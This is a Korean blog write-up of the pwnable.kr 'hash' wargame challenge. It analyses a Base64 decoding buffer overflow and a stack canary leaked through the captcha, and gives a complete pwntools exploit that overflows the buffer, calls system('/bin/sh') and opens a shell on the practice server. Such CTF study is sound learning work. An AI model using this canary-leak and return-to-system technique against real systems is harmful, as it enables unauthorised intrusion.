1. 문제
1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
처음에 captcha를 입력하면, base64로 인코딩된 데이터를 입력하라고 한다. 그리고 md5 해시값을 준다.
3) 코드흐름 파악
unsigned int my_hash()
{
signed int i; // [esp+0h] [ebp-38h]
int v2[8]; // [esp+Ch] [ebp-2Ch]
unsigned int canary; // [esp+2Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
v2[i] = rand();
return v2[4] - v2[6] + v2[7] + canary + v2[2] - v2[3] + v2[1] + v2[5];
}
처음 captcha 값은 srand(time(0)) 으로 랜덤화된 rand() 값을 총 8번 돌린후, 연산들 통해 계산된 값이다. 이를 통해 역연산을 하고, 카나리 값을 유추할수 있다.
unsigned int process_hash()
{
signed int size; // ST14_4
char *ptr; // ST18_4
char buf[512]; // [esp+1Ch] [ebp-20Ch]
unsigned int v4; // [esp+21Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
memset(buf, 0, sizeof(buf));
while ( getchar() != '\n' )
;
memset(encode_buf, 0, sizeof(encode_buf));
fgets(encode_buf, 0x400, stdin);
memset(buf, 0, sizeof(buf));
size = Base64Decode(encode_buf, (int)buf);
ptr = calc_md5((int)buf, size);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}
encode_buf는 bss영역에 존재하는 0x400 사이즈 배열이다. 최대 0x400 입력하면 encode_buf에 들어가고, 0x200 사이즈 크기인 buf 배열과 함께 Base64Decode 함수를 호출한다. 해당 함수에서 디코딩이 진행된다.
int __cdecl Base64Decode(const char *g_buf, int buf)
{
signed int v2; // ST2C_4
FILE *stream; // ST34_4
int v4; // eax
int v5; // ST38_4
int v6; // eax
int v7; // ST3C_4
v2 = calcDecodeLength(g_buf);
stream = (FILE *)fmemopen((int)g_buf, strlen(g_buf), (int)&unk_8049272);
v4 = BIO_f_base64();
v5 = BIO_new(v4);
v6 = BIO_new_fp(stream, 0);
v7 = BIO_push(v5, v6);
BIO_set_flags(v7, 0x100);
*(_BYTE *)(buf + BIO_read(v7, buf, strlen(g_buf))) = 0;
BIO_free_all(v7);
fclose(stream);
return v2;
}
Base64Decode 함수를 보면 BIO_read() 함수를 통해 실제 디코딩 된 데이터가 buf에 들어가게된다. 헌데 g_buf , 즉 encode_buf사이는 0x400인데 이걸 buf에 넣게 되고 여기서 bof가 발생한다.
2. 접근방법
bof가 가능하고 카나리를 뽑을수 있다. 시스템 함수 plt도 알고 있으니, bss에 /bin/sh 넣고, 리턴값에 시스템 함수를 넣으면 끝이다.
3. 풀이
from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64
context(log_level='DEBUG')
#p=process('./hash')
p=remote('pwnable.kr',9002)
#gdb.attach(p)
libc = CDLL(find_library('c'))
libc.srand(libc.time(0))
v2 = [ libc.rand() for i in range(8)]
log.info(v2)
p.recvuntil('captcha : ')
s=int(p.recvuntil('\n')[:-1])
canary=(s-v2[1]-v2[2]+v2[3]-v2[4]-v2[5]+v2[6]-v2[7])&0xffffffff
log.info(hex(canary))
p.sendline(str(s))
p.recvuntil('me!\n')
payload='A'*0x200
payload+=p32(canary)
payload+=p32(0x41)*3
payload+=p32(0x8048880)
payload+=p32(0)
payload+=p32(0x804b3b0)
encoded_text = base64.encodestring(payload).replace('\n','')+"/bin/sh\x00"
pause()
p.sendline(encoded_text)
p.interactive()
4. 몰랐던 개념
요건 결국 롸업을 봐버렸다. 어케하다가 카나리가 덮혀서 bof가 가능할꺼같았는데 결국 못풀고...
우선 해당문제를 통해 libc = CDLL(find_library('c')) 요렇게도 c 라이브러리 이용할수 있다는걸 알았고, 중간에 삽질한건 fgets로 0x400 정도 데이터를 넣었는데 자꾸 0x4d? 정도까지밖에 데이터가 안들어가서 뭐지뭐지 했는데 보니까 중간중간 개행이 들어가 있었다 ;;
분석좀 잘하자. my_hash() 함수는 그냥 볼필요 없을줄알았던 나의 착오가 너무 컸다 츠발
참고한 글
'워게임 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] fix (0) | 2020.10.04 |
---|---|
[pwnable.kr] dragon (0) | 2020.10.04 |
[pwnable.kr] brainfuck (0) | 2020.09.23 |
[pwnble.kr] leg (0) | 2020.09.06 |
[pwnable.kr] shellshock (0) | 2020.09.06 |
Uploaded by Notion2Tistory v1.0.0